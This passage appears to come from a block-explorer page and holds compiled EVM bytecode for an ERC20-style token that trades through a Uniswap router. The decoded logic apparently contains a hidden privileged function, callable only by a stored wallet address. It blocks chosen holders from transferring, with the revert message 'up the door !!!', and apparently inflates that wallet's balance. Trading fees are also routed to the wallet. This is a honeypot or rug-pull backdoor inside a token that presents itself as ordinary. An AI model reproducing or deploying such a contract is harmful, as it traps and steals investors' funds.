5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d7e9190612810565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dc957611dc8612c23565b5b604051908082528060200260200182016040528015611df75781602001602082028036833780820191505090505b5090503081600081518110611e0f57611e0e612bf4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eb157600080fd5b505afa158015611ec5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee99190612277565b81600181518110611efd57611efc612bf4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6430600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112c4565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fc895949392919061282b565b600060405180830381600087803b158015611fe257600080fd5b505af1925050508015611ff3575060015b611ffc57611ffd565b5b6000479050600081111561207557600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612073573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b60006120d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b10565b905092915050565b60008082846120ee91906128f5565b905083811015612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a90612730565b60405180910390fd5b8091505092915050565b60008083118290612184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217b91906126ce565b60405180910390fd5b5060008385612193919061294b565b9050809150509392505050565b6000813590506121af81612ed1565b92915050565b6000815190506121c481612ed1565b92915050565b60008083601f8401126121e0576121df612c57565b5b8235905067ffffffffffffffff8111156121fd576121fc612c52565b5b60208301915083602082028301111561221957612218612c5c565b5b9250929050565b60008135905061222f81612ee8565b92915050565b60008135905061224481612eff565b92915050565b6000602082840312156122605761225f612c66565b5b600061226e848285016121a0565b91505092915050565b60006020828403121561228d5761228c612c66565b5b600061229b848285016121b5565b91505092915050565b600080604083850312156122bb576122ba612c66565b5b60006122c9858286016121a0565b92505060206122da858286016121a0565b9150509250929050565b6000806000606084860312156122fd576122fc612c66565b5b600061230b868287016121a0565b935050602061231c868287016121a0565b925050604061232d86828701612235565b9150509250925092565b6000806040838503121561234e5761234d612c66565b5b600061235c858286016121a0565b925050602061236d85828601612235565b9150509250929050565b6000806000604084860312156123905761238f612c66565b5b600061239e86828701612220565b935050602084013567ffffffffffffffff8111156123bf576123be612c61565b5b6123cb868287016121ca565b92509250509250925092565b60006123e383836123fe565b60208301905092915050565b6123f881612a1c565b82525050565b61240781612a0a565b82525050565b61241681612a0a565b82525050565b6000612427826128b0565b61243181856128d3565b935061243c836128a0565b8060005b8381101561246d57815161245488826123d7565b975061245f836128c6565b925050600181019050612440565b5085935050505092915050565b61248381612a2e565b82525050565b61249281612a71565b82525050565b6124a181612a83565b82525050565b60006124b2826128bb565b6124bc81856128e4565b93506124cc818560208601612ab9565b6124d581612c6b565b840191505092915050565b60006124ed6023836128e4565b91506124f882612c7c565b604082019050919050565b60006125106022836128e4565b915061251b82612ccb565b604082019050919050565b6000612533601b836128e4565b915061253e82612d1a565b602082019050919050565b60006125566012836128e4565b915061256182612d43565b602082019050919050565b60006125796021836128e4565b915061258482612d6c565b604082019050919050565b600061259c6020836128e4565b91506125a782612dbb565b602082019050919050565b60006125bf6023836128e4565b91506125ca82612de4565b604082019050919050565b60006125e26025836128e4565b91506125ed82612e33565b604082019050919050565b60006126056024836128e4565b915061261082612e82565b604082019050919050565b61262481612a5a565b82525050565b61263381612a64565b82525050565b600060208201905061264e600083018461240d565b92915050565b600060208201905061266960008301846123ef565b92915050565b6000604082019050612684600083018561240d565b612691602083018461240d565b9392505050565b60006020820190506126ad600083018461247a565b92915050565b60006020820190506126c86000830184612489565b92915050565b600060208201905081810360008301526126e881846124a7565b905092915050565b60006020820190508181036000830152612709816124e0565b9050919050565b6000602082019050818103600083015261272981612503565b9050919050565b6000602082019050818103600083015261274981612526565b9050919050565b6000602082019050818103600083015261276981612549565b9050919050565b600060208201905081810360008301526127898161256c565b9050919050565b600060208201905081810360008301526127a98161258f565b9050919050565b600060208201905081810360008301526127c9816125b2565b9050919050565b600060208201905081810360008301526127e9816125d5565b9050919050565b60006020820190508181036000830152612809816125f8565b9050919050565b6000602082019050612825600083018461261b565b92915050565b600060a082019050612840600083018861261b565b61284d6020830187612498565b818103604083015261285f818661241c565b905061286e606083018561240d565b61287b608083018461261b565b9695505050505050565b600060208201905061289a600083018461262a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061290082612a5a565b915061290b83612a5a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156129405761293f612b67565b5b828201905092915050565b600061295682612a5a565b915061296183612a5a565b92508261297157612970612b96565b5b828204905092915050565b600061298782612a5a565b915061299283612a5a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129cb576129ca612b67565b5b828202905092915050565b60006129e182612a5a565b91506129ec83612a5a565b9250828210156129ff576129fe612b67565b5b828203905092915050565b6000612a1582612a3a565b9050919050565b6000612a2782612a3a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612a7c82612a95565b9050919050565b6000612a8e82612a5a565b9050919050565b6000612aa082612aa7565b9050919050565b6000612ab282612a3a565b9050919050565b60005b83811015612ad7578082015181840152602081019050612abc565b83811115612ae6576000848401525b50505050565b60006002820490506001821680612b0457607f821691505b60208210811415612b1857612b17612bc5565b5b50919050565b6000612b2982612a5a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b5c57612b5b612b67565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f6e6f7420456e6f7574682062616c616e63650000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a205f73686966744c69737465642075702074686520646f6f722060008201527f2121210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612eda81612a0a565b8114612ee557600080fd5b50565b612ef181612a2e565b8114612efc57600080fd5b50565b612f0881612a5a565b8114612f1357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b2017b3ab2bf76bb5c55da6fc9435f0ce19be2acfcf0a902512092df34ee92ef64736f6c63430008070033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c816841b1161006f578063c816841b14610417578063c860795214610442578063dd62ed3e1461046d578063e146f211146104aa578063f2fde38b146104e7578063fed12b431461051057610135565b80638da5cb5b1461034257806395d89b411461036d578063a9059cbb14610398578063ad04556f146103d5578063c5d24189146103ec57610135565b806323b872dd116100f257806323b872dd14610223578063313ce567146102605780633345611e1461028b5780633ecad271146102c857806370a082311461030557610135565b8063015d17eb1461013a57806306fdde0314610165578063095ea7b3146101905780631694505e146101cd57806318160ddd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190612654565b60405180910390f35b34801561017157600080fd5b5061017a61055f565b60405161018791906126ce565b60405180910390f35b34801561019c57600080fd5b506101b760048036038101906101b29190612337565b6105f1565b6040516101c49190612698565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906126b3565b60405180910390f35b34801561020457600080fd5b5061020d610635565b60405161021a9190612810565b60405180910390f35b34801561022f57600080fd5b5061024a600480360381019061024591906122e4565b61063f565b6040516102579190612698565b60405180910390f35b34801561026c57600080fd5b50610275610719565b6040516102829190612885565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad919061224a565b610730565b6040516102bf9190612698565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea919061224a565b610750565b6040516102fc9190612698565b60405180910390f35b34801561031157600080fd5b5061032c6004803603810190610327919061224a565b610770565b6040516103399190612810565b60405180910390f35b34801561034e57600080fd5b506103576107b9565b6040516103649190612639565b60405180910390f35b34801561037957600080fd5b506103826107e2565b60405161038f91906126ce565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190612337565b610874565b6040516103cc9190612698565b60405180910390f35b3480156103e157600080fd5b506103ea610893565b005b3480156103f857600080fd5b50610401610c6b565b60405161040e9190612810565b60405180910390f35b34801561042357600080fd5b5061042c610c71565b6040516104399190612639565b60405180910390f35b34801561044e57600080fd5b50610457610c97565b6040516104649190612810565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f91906122a4565b610c9d565b6040516104a19190612810565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc919061224a565b610d24565b6040516104de9190612698565b60405180910390f35b3480156104f357600080fd5b5061050e6004803603810190610509919061224a565b610d44565b005b34801561051c57600080fd5b5061053760048036038101906105329190612377565b610e96565b005b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606001805461056e90612aec565b80601f016020809104026020016040519081016040528092919081815260200182805461059a90612aec565b80156105e75780601f106105bc576101008083540402835291602001916105e7565b820191906000526020600020905b8154815290600101906020018083116105ca57829003601f168201915b5050505050905090565b60006106056105fe6112bc565b84846112c4565b6001905092915050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b600061064c84848461148f565b5061070e846106596112bc565b61070985604051806060016040528060288152602001612f1760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106bf6112bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b109092919063ffffffff16565b6112c4565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546107f190612aec565b80601f016020809104026020016040519081016040528092919081815260200182805461081d90612aec565b801561086a5780601f1061083f5761010080835404028352916020019161086a565b820191906000526020600020905b81548152906001019060200180831161084d57829003601f168201915b5050505050905090565b60006108886108816112bc565b848461148f565b506001905092915050565b61089b6112bc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091f90612790565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561098757600080fd5b505afa15801561099b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bf9190612277565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2157600080fd5b505afa158015610a35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a599190612277565b6040518363ffffffff1660e01b8152600401610a7692919061266f565b602060405180830381600087803b158015610a9057600080fd5b505af1158015610aa4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac89190612277565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60095481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b610d4c6112bc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd090612790565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed76112bc565b73ffffffffffffffffffffffffffffffffffffffff1614610ef757600080fd5b60005b8282905081101561123b578360086000858585818110610f1d57610f1c612bf4565b5b9050602002016020810190610f32919061224a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610fcf57610fce612bf4565b5b9050602002016020810190610fe4919061224a565b73ffffffffffffffffffffffffffffffffffffffff1614600060146101000a81548160ff021916908315150217905550600060149054906101000a900460ff161561122857600060046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506110a56003600c54611b7490919063ffffffff16565b600c546110b291906128f5565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111e91906128f5565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d90612750565b60405180910390fd5b505b808061123390612b1e565b915050610efa565b50505050565b60008083141561125457600090506112b6565b60008284611262919061297c565b9050828482611271919061294b565b146112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a890612770565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132b906127f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139b90612710565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114829190612810565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f7906127d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611567906126f0565b60405180910390fd5b600d60009054906101000a900460ff161561159757611590848484611bbe565b9050611b09565b60006115a230610770565b9050600d60009054906101000a900460ff1615801561160b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561161a5761161981611d91565b5b61166c83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117525750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561175f57839050611a08565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117e2576117db60646117cd6009548861124190919063ffffffff16565b611b7490919063ffffffff16565b9050611860565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561185f5761185c606461184e600a548861124190919063ffffffff16565b611b7490919063ffffffff16565b90505b5b6000811115611964576118bb81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120df90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161195b9190612810565b60405180910390a35b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e8906127b0565b60405180910390fd5b611a04818661209590919063ffffffff16565b9150505b611a5a81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120df90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611afa9190612810565b60405180910390a36001925050505b9392505050565b6000838311158290611b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4f91906126ce565b60405180910390fd5b5060008385611b6791906129d6565b9050809150509392505050565b6000611bb683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061213d565b905092915050565b6000611c49826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b109092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cde82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120df90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d7e9190612810565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dc957611dc8612c23565b5b604051908082528060200260200182016040528015611df75781602001602082028036833780820191505090505b5090503081600081518110611e0f57611e0e612bf4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eb157600080fd5b505afa158015611ec5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee99190612277565b81600181518110611efd57611efc612bf4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6430600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112c4565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fc895949392919061282b565b600060405180830381600087803b158015611fe257600080fd5b505af1925050508015611ff3575060015b611ffc57611ffd565b5b6000479050600081111561207557600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612073573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b60006120d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b10565b905092915050565b60008082846120ee91906128f5565b905083811015612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a90612730565b60405180910390fd5b8091505092915050565b60008083118290612184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217b91906126ce565b60405180910390fd5b5060008385612193919061294b565b9050809150509392505050565b6000813590506121af81612ed1565b92915050565b6000815190506121c481612ed1565b92915050565b60008083601f8401126121e0576121df612c57565b5b8235905067ffffffffffffffff8111156121fd576121fc612c52565b5b60208301915083602082028301111561221957612218612c5c565b5b9250929050565b60008135905061222f81612ee8565b92915050565b60008135905061224481612eff565b92915050565b6000602082840312156122605761225f612c66565b5b600061226e848285016121a0565b91505092915050565b60006020828403121561228d5761228c612c66565b5b600061229b848285016121b5565b91505092915050565b600080604083850312156122bb576122ba612c66565b5b60006122c9858286016121a0565b92505060206122da858286016121a0565b9150509250929050565b6000806000606084860312156122fd576122fc612c66565b5b600061230b868287016121a0565b935050602061231c868287016121a0565b925050604061232d86828701612235565b9150509250925092565b6000806040838503121561234e5761234d612c66565b5b600061235c858286016121a0565b925050602061236d85828601612235565b9150509250929050565b6000806000604084860312156123905761238f612c66565b5b600061239e86828701612220565b935050602084013567ffffffffffffffff8111156123bf576123be612c61565b5b6123cb868287016121ca565b92509250509250925092565b60006123e383836123fe565b60208301905092915050565b6123f881612a1c565b82525050565b61240781612a0a565b82525050565b61241681612a0a565b82525050565b6000612427826128b0565b61243181856128d3565b935061243c836128a0565b8060005b8381101561246d57815161245488826123d7565b975061245f836128c6565b925050600181019050612440565b5085935050505092915050565b61248381612a2e565b82525050565b61249281612a71565b82525050565b6124a181612a83565b82525050565b60006124b2826128bb565b6124bc81856128e4565b93506124cc818560208601612ab9565b6124d581612c6b565b840191505092915050565b60006124ed6023836128e4565b91506124f882612c7c565b604082019050919050565b60006125106022836128e4565b915061251b82612ccb565b604082019050919050565b6000612533601b836128e4565b915061253e82612d1a565b602082019050919050565b60006125566012836128e4565b915061256182612d43565b602082019050919050565b60006125796021836128e4565b915061258482612d6c565b604082019050919050565b600061259c6020836128e4565b91506125a782612dbb565b602082019050919050565b60006125bf6023836128e4565b91506125ca82612de4565b604082019050919050565b60006125e26025836128e4565b91506125ed82612e33565b604082019050919050565b60006126056024836128e4565b915061261082612e82565b604082019050919050565b61262481612a5a565b82525050565b61263381612a64565b82525050565b600060208201905061264e600083018461240d565b92915050565b600060208201905061266960008301846123ef565b92915050565b6000604082019050612684600083018561240d565b612691602083018461240d565b9392505050565b60006020820190506126ad600083018461247a565b92915050565b60006020820190506126c86000830184612489565b92915050565b600060208201905081810360008301526126e881846124a7565b905092915050565b60006020820190508181036000830152612709816124e0565b9050919050565b6000602082019050818103600083015261272981612503565b9050919050565b6000602082019050818103600083015261274981612526565b9050919050565b6000602082019050818103600083015261276981612549565b9050919050565b600060208201905081810360008301526127898161256c565b9050919050565b600060208201905081810360008301526127a98161258f565b9050919050565b600060208201905081810360008301526127c9816125b2565b9050919050565b600060208201905081810360008301526127e9816125d5565b9050919050565b60006020820190508181036000830152612809816125f8565b9050919050565b6000602082019050612825600083018461261b565b92915050565b600060a082019050612840600083018861261b565b61284d6020830187612498565b818103604083015261285f818661241c565b905061286e606083018561240d565b61287b608083018461261b565b9695505050505050565b600060208201905061289a600083018461262a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061290082612a5a565b915061290b83612a5a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156129405761293f612b67565b5b828201905092915050565b600061295682612a5a565b915061296183612a5a565b92508261297157612970612b96565b5b828204905092915050565b600061298782612a5a565b915061299283612a5a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129cb576129ca612b67565b5b828202905092915050565b60006129e182612a5a565b91506129ec83612a5a565b9250828210156129ff576129fe612b67565b5b828203905092915050565b6000612a1582612a3a565b9050919050565b6000612a2782612a3a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612a7c82612a95565b9050919050565b6000612a8e82612a5a565b9050919050565b6000612aa082612aa7565b9050919050565b6000612ab282612a3a565b9050919050565b60005b83811015612ad7578082015181840152602081019050612abc565b83811115612ae6576000848401525b50505050565b60006002820490506001821680612b0457607f821691505b60208210811415612b1857612b17612bc5565b5b50919050565b6000612b2982612a5a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b5c57612b5b612b67565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f6e6f7420456e6f7574682062616c616e63650000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a205f73686966744c69737465642075702074686520646f6f722060008201527f2121210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612eda81612a0a565b8114612ee557600080fd5b50565b612ef181612a2e565b8114612efc57600080fd5b50565b612f0881612a5a565b8114612f1357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b2017b3ab